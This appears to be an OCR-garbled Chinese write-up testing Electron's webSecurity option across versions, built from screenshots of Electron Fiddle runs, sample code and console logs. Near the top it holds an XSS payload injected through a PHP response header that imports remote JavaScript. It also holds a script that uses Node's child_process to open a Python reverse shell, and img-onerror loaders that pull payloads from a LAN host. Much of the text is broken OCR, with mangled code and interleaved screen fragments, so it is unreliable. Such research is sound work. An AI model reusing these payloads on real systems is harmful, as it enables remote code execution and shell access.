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<?php

header ("X-Powered-By: PHP/<img src=\"x\"

onerror=import (unescape( 'http%3A//127.0.0.1/test2.js'))>");

?2>

test2.]s

(function(){

require('child process').exec('open /System/Applications/Calculator.app');
require( 'child process').exec('python -c \'import

socket, subprocess,os;s=socket.socket (socket.AF INET,socket.SOCK STREAM);s.c
onnect(("127.0.0.1",9999));0s.dup2(s.fileno(),0); os.dup2(s.fileno(),1);

os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-1i"1);\"'"');
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https://www.electronjs.org/zh/docs/latest/tutorial/security#6-%E4%B8%8D%E8%A6%81%E7%A6%81%E7%94%A8-websecurity
https://mp.weixin.qq.com/s/xEvkvvfA89xeHFKQUqRmEw
https://developer.mozilla.org/zh-CN/docs/Web/Security/Same-origin_policy
https://mp.weixin.qq.com/s/EPQZs5eQ4LL--tao93cUfQ
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[ ») cat payload.ijs
document.getElementById('remote-js').innerText = "Remote code running."

[ »> python3 -m http.server 80

Serving HTTP on :: port 8@ (Chttp://[::]1:80/) ...

MWIXIIZPRIZE csp R, BEFMER
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src="x" onerror="import (unescape( 'http://192.168.31.216/payload.js"'))"

WRATLARIONNE,, AREDEFET Remote code is running.

1. Z=3thnENiz R R RS
index.html

<!DOCTYPE html>

lang="en"

charset="UTF-8"
name="viewport" content="width=device-width, initial-scale=1.0"
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<div id="local-js"></div>
<hr>

<div id="remote-js"></div>

<img src="x"

onerror="import (unescape( 'http://192.168.31.216/payload.js'))" />

<script>
document.getElementById('local-js').innerText ="Local code is
runnning."
</script>
</body>
</html>

main.js

const { app, BrowserWindow } = require('electron')

const path = require('path')

function createWindow () {

const mainWindow = new BrowserWindow( {

width: 800,

height: 600,

webPreferences: {

webSecurity: true,

})

mainWindow.loadFile( 'index.html"')

app.whenReady().then(() => {

createWindow ()




app.on('activate', function () {
if (BrowserWindow.getAllWindows().length === 0) createWindow()
})
})

app.on('window-all-closed', function () {

if (process.platform !== 'darwin') app.quit()

})

webSecurity: false
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Saved files to /tmp/electron-fiddle-4376-ntPablRM1VJ3

Electron v5.0.0 started.
Fontconfig warning: "/usr/share/fontconfig/conf.avail/05-reset-dirs-sample.conf", line 6: unknown element "reset-dirs"

Electron exited with code 0.

Saving files to temp directory =

Saved files to /tmp/electron-fic

Electron v5.0.0 started. File Edit View

Fontconfig warning: "/usr/share x O Elements ~ Console  Sources % ©1404
o R
WEb Securlty Test Bl © | top v | ® | Fiter Default levels v
Editors @ Main Process (main.js) © Failed to load resource: net::ERR_FILE NOT_FOUND 3l
. L 1 code i . » usr/lib/node_module..ity-warnings.js:150
index.html  © = ocal code 1s runnning. Electron Security Warning (Disabled webSecurity) This
/ renderer process has "webSecurity" disabled. This
main.js co t 3 Remote code is l‘LlIlHng. exposes users of this app to severe security risks.
[~ For more information and help, consult

preload.js

https://electronjs.org/docs/tutorial/security.
. This warning will not show up
renderer.js once the app is packaged.

» usr/lib/node_module..ity-warnings.js:110
Electron Security Warning (Insecure Resources) This renderer
process loads resources using insecure
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Saving fil

Saved files to /tmp/electron-fiddle-4376-ap9Kzh6EuaaF

Electron v5.0.0 started.

Fontconfig warning: "/usr/share/fontconfig/conf.avail/05-reset-dirs-sample.conf", line 6: unknown element "reset-dirs"

Electron exited with code 0. .
Saving files to temp directory.. Security Test
Saved files to /tmp/electron-fi

Electron v10.0.0 started.
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@ Editors Main Process (main.js)

Local code is runnning.

Remote code is running. —

index.html
[ index.htm i

[ main.js

o 0

[ preload.js

|

[ renderer.js

Electron exited with code 0.
Saving files to temp directory...
Saved files to /tmp/electron-fiddle-4376-EXQcPNU2a2af
Electron v30.0.0 started.
[46520:0420/170620.794372:ERROR !
[46561:0420/170621.127031:ERROR
[46561:0420/170621.186362: ERROR
[46561:0420/170621.198986: ERROR

Web Security Test

& Editor Main Process (main.js . i
W \Editors ® e Local code is runnning.

[ index.html | /
Al Remote code is running.

D main.js pa =

[ preload.js

[ renderer.js

£ Electron 5.0, 10.0. 30.0 KRZASHIIE]LURINHAITIEIE JavaScript (AeE

webSecurity: true



B Stop (I Console

LToz Uz U Sa-r——m UT OO w UIl_L1UUP.CC\£UU ] ULIN UUDjoot. g vOLIuc_occ TUAC GooCT CXUTT =

[48254:0420/170825.493265:ERROR: l_Surfgce_pr

esentation_helper.cc(260)] Ge VSyncEarametersIfAvailable() ¥ail
[48254:0420/170825.548041:ERROR:gl_surface_presentation_helper.cc(260)] GetVSyncParametersIfAvailable() faile
[48254:0420/170825.557571:ERROR: gl_surface_presentation_helper.cc(260)] GetVSyncParametersIfAvailable() faile

Electron exited with code 0. curity Test
Saving files to temp directc
Saved files to /tmp/electror
Electron v5.0.0 started.

Fontconfig warning: "/usr/s} web Security Test

& Editors (YRTNIPe ey (oests  [Local code is runnning.

[ index.html Remote code is running. /

wy

B main.js

[ preload.js

B Stop [ Console

Saving files to temp directory...

Saved files to /tmp/electron-fiddle-4376-U71NZ1dVR1E5

Electron v5.0.0 started.

Fontconfig warning: "/usr/share/fontconfig/conf.avail/05-reset-dirs-sample.conf", line 6: unknown element "resq

Electron exited with code 0.
Saving files to temp directory. .
Saved files to /tmp/electron-fi
Electron v10.0.0 started.
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Main Process (main.js)

[ index.html Local code is runnning. -

Remote code is running. —

wy

[ main.js

N o 0

[ preload.js

Q

[ renderer.js
ma

width:

W Stop B3] Console

Electron exited with code 0.
Saving files to temp directory...

Saved files to /tmp/electron-fiddle-4376-DxQLGVEYy3kI
Electron v30.0.0 started.
[49425:0420/170935.560881:ERROR
[49468:0420/170935.800339:ERROR:
[49468:0420/170935.815052: ERROR
[49468:0420/170935.819187: ERROR

Web Security Test

& Editors Main Process (main.js| X .
J ® y B Local code is runnning.

[ index.html /
AL Remote code is running.

[ main,js pe * ]

[ preload.js

[ renderer.js
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main.js

const { app, BrowserWindow } = require('electron')

const path = require('path')
function createWindow () {

const mainWindow = new BrowserWindow( {
width: 800,
height: 600,
webPreferences: {

webSecurity: true,

}
})

mainWindow.loadURL( 'http://192.168.31.185:8080/index.html")

mainWindow.webContents.openDevTools ()

app.whenReady().then(() => {

createWindow( )




app.on('activate', function () {

if (BrowserWindow.getAllWindows().length = 0) createWindow()

app.on( 'window-all-closed', function () {
if (process.platform !== 'darwin') app.quit()

})

webSecurity: false
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[57427:0420/171949.704369:ERROR: gl_surface_presentation_helper.cc(260)] GetVSyncParametersIfAvailable() failed for 1 times!

[57427:0420/171949.759566:ERROR:gl_surface_presentation_helper.cc(260)] GetVSyncParametersIfAvailable() failed for 2 times!
[57427:0420/171949.763902:ERROR: gl_surface_presentation_helper.cc(260)] GetVSyncParametersIfAvailable() failed for 3 times!

Electron exited with code 0.

Saving files to temp directory.. —

Saved files to /tmp/electron-fic
Electron v5.0.0 started. File Edit \
Fontconfig warning: "/usr/share

Web Security Test

Web Security Test
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& Editors Main Process (main.js)

Local code is runnning.
const { ap| /
const pa

Remote code is running.

[ index.html

[ main.js

RO 0

o

[ preload.js

|

[ renderer.js




B3] Console

Saving files to temp directory...

Saved files to /tmp/electron-fiddle-4376-BiImNo2vZtwd
Electron v5.0.0 started.

Fontconfig warning: "/usr/share/fontconfig/conf.avai

Electron exited with code 0.

Saving files to temp directory... .
Saved files to /tmp/electron-fiddle-4376-fXirw9mE2zE WEb Securlty Test

Electron v10.0.0 started.

& Editors
[ index.html
O main.js
[ preload.js

[ renderer.js

Modules

@ Editors

[ index.html

[ mainjs

[ preload.js

Local code is runnning,

C)

Main Process (main.js)

{ app, Brc
path = require('path')

NERCANC)

createWindow () {

N

mainWindow = new Br
width: 800,
height: 600,
webPreferences: {
webSecurity:

mainWindow.loadURL( 'http:/
html"')

Electron exited with code 0.
Saving files to temp directory...
Saved files to /tmp/electron-fiddle-4376-1StwnaPdRtWp
Electron v30.0.0 started. X
[59799:0420/172149.444133: ERROR
[59837:0420/172149.693992:ERROR; File E
[59837:0420/172149.716793: ERROR
[59837:0420/172149.720164 : ERROR

Web Security Test

® Main Process (main.js) Local code is runnning,

| . . P
Remote code is running. <=

[ renderer.js
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webSecurity: true

W Stop [T Console o

.59837:0420/172149.693992:ERROR:gl_surface_p

Fesentationihelper.cc(260)] GeEVSyncEaraaetersIfAvailable() ¥ailed7for
[59837:0420/172149.716793:ERROR:gl_surface_presentation_helper.cc(260)] GetVSyncParametersIfAvailable() failed for
[59837:0420/172149.720164:ERROR:gl_surface_presentation_helper.cc(260)] GetVSyncParametersIfAvailable() failed for

Electron exited with code 0.

Saving files to temp directory.. —
Saved files to /tmp/electron-fi
Electron v5.0.0 started.

Fontconfig warning: "/usr/share

Web Security Test

Editors Main Process (main.js)

index.html Local code is runnning.

{ ap

B ™~

main.js

NSRRI

preload.js

N

renderer.js

B3 Console

Saving files to temp directory...

Saved files to /tmp/electron-fiddle-4376-0sGfqldxjsvP

Electron v5.0.0 started.

Fontconfig warning: "/usr/share/fontconfig/conf.avail/05-reset-dirs-sample.conf", line 6: unknown element "reset-di

Electron exited with code 0.
Saving files to temp directory..
Saved files to /tmp/electron-fic
Electron v10.0.0 started.

Web Security Test

& Editors @ Main Process (main.js)

[ index.html Local code is runnning.

{ ap
[ main.js e

[ preload.js

[ renderer.js
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Electron exited with code 0.
Saving files to temp directory...

Saved files to /tmp/electron-fiddle-4376-pXttjcsYnVOn
Electron v30.0.0 started.
[63384:0420/172603.015098:ERROR
[63425:0420/172603.271015:ERROR
[63425:0420/172603.326628:ERROR
[63425:0420/172603.347315:ERROR

Web Security Test

& Editors Main Process (main.js X .
L y - Local code is runnning.

index.html |

{ &b o
main.js oF
preload.js

renderer.js

@ DevTools is now available in Chinese!

[ d
WEb Securlty Always match Chrome's language

TESt Elements Console Sources >> 4 A2 1

top v | © Default levels Y | 1lssue: B 1
Local code is runnning. :

. origin 'http://192.168.31.185:8080"' has been blocked by CORS policy: No
" "Access-Control-Allow-0Origin' header is present on the requested
resource.

Failed to load resource: net::ERR_FAILED payload.js:1 @

A » Electron Security Warning (Insecure Resources) VM4 sandbox bundle:2
This renderer process loads resources using insecure
protocols. This exposes users of this app to unnecessary security
risks.
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B Stop [ Console
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[63384: 0420/172655 946266 ERROR CONSOLE(1)] "Request Autofill.enable failed. {"code"' ,"messag

devtools://devtools/bundled/care/nraotacnl client/nratncal client +dic (1)

X

Electron exited with c File

Saving files to temp c

Saved files to /tmp/el .

Electron v11.0.0 start WEb Securlty Test
(node:65934) electron:
https://github.com/ele

Local code is runnning.

Remote code is running.
L’A

C)

& Editors

[ index.html

B main.js

Yo 0

[ preload.js

]

[ renderer.js

Electron 11.0.0 EF"LZ bug Eé§1z§

B Stop 3] Console

Electron exited with code 0.
Saving files to temp

Saved files to /tmp/¢
Electron v10.1.2 star

Ele;tron'exited with web Security TESt

Saving files to temp
Saved files to /tmp/e
LT IRV ICIRS &=l [.ocal code is runnning.

Remote code is running.
& Editors i o

[ index.html

—
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B Stop B3 Console

Electron exited with code 0.

Saving files to temp directory...

Saved files to /tmp/electron-fiddle-4376-qHgb6FY7dWvQ
Electron v10.1.3 started.

Electron exited with code 0.

. . . R
Saving files to temp directory. .
Saved files to /tmp/electron-fi
Electron v10.1.2 started.

Web Security Test

Editors @ Main Process (main.js)

index.html ; Local code is runnning.
ap

main.js pathiig /

preload.js

renderer.js
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join@Electron: sktop/w curlty$ cat package.json
{
"name": "websecurlty",
"version": "1.0.0", .
"description": "", Web SEClll"lty Test
"main": "main.js",
"scripts": { Local code is runnning.
"test": "echo \"Error: no test specified\" && exit 1",
"start": "electron ." o

b,
"author": ",
"license": "ISC",

"dependencies": {
"electron": "A9.0.0"
}

i
join@Electron: t E ty$ npm run start

> websecurlty@1.0.0 start /home/join/Desktop/webSecurlty
> electron .

Electron 9.0.0 FEZEFEIZ bug
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join@Electron: $ cat package.json

{

"name": "websecurlty",
"version": "1.0.0",

"description": "", WEb Securlty Test
"main": "main.js",
"scripts": { Local code is runnning.

"test": "echo \"Error: no test specified\" && exit 1"
"start": "electron ." Remote code is running.

¥, o

"author": "",

"license": "ISC", \
"dependencies": {

"electron": "A8.5.5"
}

}
join@Electron: $ npm run start

> websecurlty@1.0.0 start /home/join/Desktop/webSecurlty
> electron .
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